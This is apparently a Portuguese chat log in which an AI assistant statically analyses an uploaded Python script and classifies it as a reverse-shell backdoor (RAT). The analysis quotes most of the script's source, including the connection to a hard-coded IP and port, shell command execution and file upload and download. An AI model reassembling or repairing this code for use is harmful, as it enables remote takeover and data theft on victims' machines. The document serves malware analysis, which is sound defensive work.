You said:

codigo(2).py
Code

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Worked for 20s

Analyzed

ChatGPT said:

Análise estática do arquivo `codigo(2).py`

CLASSIFICAÇÃO: MALWARE

Categoria principal: Backdoor de acesso remoto (*Remote Access Trojan – RAT*), com funcionalidade de *reverse shell*.

O arquivo contém código destinado a estabelecer uma conexão com um computador remoto e permitir que outra pessoa execute comandos no sistema da vítima, além de transferir arquivos.

A análise foi feita estaticamente, sem executar o programa.

1. Identificação do arquivo

Propriedade	Resultado
Nome	`codigo(2).py`
Formato	Script Python
Tamanho	1.662 bytes
SHA-256	`7e2764882e9c4331e466dd25cbb82c4d4d9fe82f97fe0b21a48d7ed58a85be33`
Tipo de análise	Estática

2. Análise passo a passo

Etapa 1 — Importação de bibliotecas

O código importa as seguintes bibliotecas:

```
import socket
import subprocess
import json
import os
import base64
import sys
```

Finalidades:

- `socket` : estabelecer comunicação pela rede.
- `subprocess` : executar comandos no sistema operacional.
- `json` : serializar e interpretar dados.
- `os` : manipular diretórios e arquivos.
- `base64` : codificar e decodificar conteúdo de arquivos.
- `sys` : encerrar a execução do programa.

Avaliação: A combinação dessas bibliotecas é compatível com a construção de uma ferramenta de acesso remoto com capacidade de execução de comandos e transferência de arquivos. Isoladamente, os imports não representam comportamento malicioso, mas são relevantes no contexto do restante do código.

Etapa 2 — Estabelecimento da conexão remota

Trecho:

```
class Backdoor:

    def __init__(self,ip,port):
        self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
```

O programa cria um socket TCP e estabelece uma conexão com um endereço IP e uma porta fornecidos como parâmetros.

Isso permite que o programa funcione como cliente de um controlador remoto.

Avaliação: comportamento característico de um backdoor, pois o programa estabelece uma conexão com uma máquina externa para receber instruções. codigo.py

Etapa 3 — Envio de informações

Trecho:

```
def reliable_send(self,data):
    json_data = json.dumps(data)
    self.connection.send(json_data)
```

A função converte os dados para JSON e os envia pela conexão TCP.

Sua finalidade é transmitir ao controlador remoto os resultados das operações executadas.

Avaliação: mecanismo de comunicação entre o programa e o controlador. codigo.py

Etapa 4 — Recebimento de instruções

Trecho:

```
def reliable_receive(self):
    json_data = ""
    while True:
        try:
            json_data = json_data + self.connection.recv(1024)
        except ValueError:
            continue
```

A intenção aparente é receber dados enviados pelo controlador remoto.

Entretanto, existe um problema importante: a função possui um laço infinito e não apresenta nenhuma instrução `return`, nem realiza a interpretação dos dados JSON.

Isso significa que, mesmo que receba informações, não consegue retornar normalmente os comandos para a função principal.

Avaliação: existe uma intenção clara de receber instruções remotamente, mas a implementação está defeituosa. codigo.py

Etapa 5 — Execução de comandos no sistema operacional

Trecho:

```
def execute_system_commmand(self,command):
    return subprocess.check_output(command,shell=True)
```

Este é um dos trechos mais importantes da análise.

A função utiliza `subprocess.check_output()` com `shell=True` para executar comandos no sistema operacional.

Isso permite que, caso o mecanismo de comunicação funcione, o controlador remoto envie instruções para executar operações arbitrárias no computador da vítima.

Exemplos de operações potencialmente possíveis:

- Consultar informações do sistema.
- Listar diretórios.
- Abrir ou manipular arquivos.
- Executar programas.
- Executar outros comandos disponíveis no interpretador de comandos.

Avaliação: capacidade diretamente associada a um backdoor de execução remota de comandos. codigo.py

Etapa 6 — Manipulação de diretórios

Trecho:

```
def change_working_directory_to(self,path):
    os.chdir(path)
    return "[+] Change working directory to {0}".format(path)
```

A função permite alterar o diretório de trabalho do programa.

Isso possibilita navegar pelo sistema de arquivos e acessar diferentes diretórios durante uma sessão remota.

Avaliação: funcionalidade de controle remoto do ambiente de arquivos. codigo.py

Etapa 7 — Transferência de arquivos para a máquina comprometida

Trecho:

```
def write_file(self,path,content):
    with open(path,"wb") as file:
        file.write(base64.b64decode(content))
        return "[+] Upload Succesful"
```

Essa função recebe conteúdo codificado em Base64, decodifica e grava em um arquivo no computador.

Na prática, permite que o controlador remoto envie arquivos para a máquina que executa o programa.

Avaliação: capacidade de transferência remota de arquivos, que pode ser utilizada para instalar outros programas ou ferramentas. codigo.py

Etapa 8 — Extração de arquivos da máquina

Trecho:

```
def read_file(self,path):
    with open(path,"rb") as file:
        return base64.b64encode(file.read())
```

A função abre arquivos em modo de leitura binária e codifica seu conteúdo em Base64.

O conteúdo pode ser enviado ao controlador remoto.

Isso permite potencialmente extrair documentos, configurações e outros arquivos acessíveis ao usuário que executou o programa.

Avaliação: funcionalidade de exfiltração de dados. codigo.py

Etapa 9 — Processamento das instruções recebidas

Trecho:

```
def run(self):
    while True:
        command = self.reliable_receive()

        try:
            if command[0] == "exit":
                self.connection.close()
```

```
                sys.exit()
            elif command[0] == "cd" and len(command) > 1:
                command_result =
self.change_working_directory_to(command[1])
            elif command[0] == "download":
                command_result = self.read_file(command[1])
            elif command[0] == "upload":
                command_result = self.write_file(command[1],command[2])
            else:
                command_result = self.execute_system_commmand(command)

        except Exception:
            command_result = "[-]Error during command Execution"

        self.reliable_send(command_result)
```

Esse trecho implementa o mecanismo central de controle remoto.

O programa reconhece quatro operações específicas:

Comando	Funcionalidade
`exit`	Encerra a conexão e o programa.
`cd`	Altera o diretório de trabalho.
`download`	Lê arquivos da máquina e prepara seu conteúdo para transmissão.
`upload`	Grava arquivos enviados pelo controlador.
Outros comandos	Encaminha a execução ao shell do sistema operacional.

O último comportamento é especialmente preocupante: comandos não reconhecidos são encaminhados para execução no sistema operacional.

Avaliação: conjunto de funcionalidades típico de um backdoor de acesso remoto.

codigo.py

Etapa 10 — Endereço IP e porta de comunicação

Trecho:

```
my_backdoor = Backdoor("192.168.43.38",4444)
my_backdoor.run()
```

O programa utiliza os seguintes parâmetros:

Indicador	Valor
Endereço IP	`192.168.43.38`
Porta TCP	`4444`
Protocolo	TCP
Destino	Endereço IP configurado diretamente no código

O endereço `192.168.43.38` pertence a uma faixa de endereços privados, normalmente utilizada em redes locais.

A porta 4444 é o destino configurado para a conexão.

Avaliação: o endereço fixo reforça a existência de um controlador remoto previamente configurado. Entretanto, não é possível afirmar quem controla esse endereço ou se ele está atualmente ativo. codigo.py

3. Problemas técnicos encontrados

Apesar de apresentar comportamento malicioso, o código possui falhas importantes.

1. Laço infinito no recebimento

A função `reliable_receive()` nunca retorna os dados recebidos. Consequentemente, o processamento dos comandos não prossegue normalmente.

2. Incompatibilidade com Python 3

A função `recv()` retorna bytes, mas o código tenta concatená-los com uma string. Isso provoca um `TypeError`.

Além disso, `socket.send()` espera bytes no Python 3, mas o código fornece uma string produzida por `json.dumps()`.

3. Ausência de interpretação JSON

O código converte informações em JSON para enviar, mas não implementa adequadamente a interpretação das mensagens recebidas.

Esses problemas indicam que o programa, na forma apresentada, provavelmente não funciona corretamente sem correções.

É importante distinguir duas coisas: a implementação pode estar defeituosa, mas suas funcionalidades pretendidas continuam sendo claramente maliciosas.

4. Indicadores de comportamento malicioso

Indicador	Identificado?
Conexão TCP com controlador remoto	Sim
Recebimento de comandos remotos	Sim, pretendido
Execução de comandos no sistema	Sim, implementada
Download de arquivos da vítima	Sim
Upload de arquivos para a vítima	Sim
Alteração de diretórios	Sim
Persistência após reinicialização	Não identificada
Evasão de antivírus	Não identificada
Criptografia de arquivos (ransomware)	Não identificada
Autopropagação	Não identificada

5. Veredito final

ARQUIVO CLASSIFICADO COMO MALWARE

Categoria principal: Backdoor / RAT (*Remote Access Trojan*).

Subcategoria técnica: Reverse shell com execução remota de comandos e transferência de arquivos.

Justificativa: o código foi desenvolvido para estabelecer uma conexão com um controlador remoto, receber instruções, executar comandos no sistema operacional e permitir a transferência de arquivos nos dois sentidos.

Conclusão: o arquivo não deve ser considerado benigno. Mesmo apresentando erros de implementação que podem impedir seu funcionamento, sua finalidade e suas funcionalidades pretendidas caracterizam um backdoor.

Recomendo não executar o arquivo em um computador de uso pessoal ou corporativo. Se ele já foi executado, é prudente verificar possíveis conexões de rede e arquivos criados ou modificados durante a execução.

‹/›

You said:

Qual é a categoria principal deste malware?

ChatGPT said:

A categoria principal deste malware é **Backdoor (RAT – Remote Access Trojan)**, com funcionalidade de **Reverse Shell**.

Ele permite que um controlador remoto execute comandos no sistema da vítima e transfira arquivos entre as máquinas.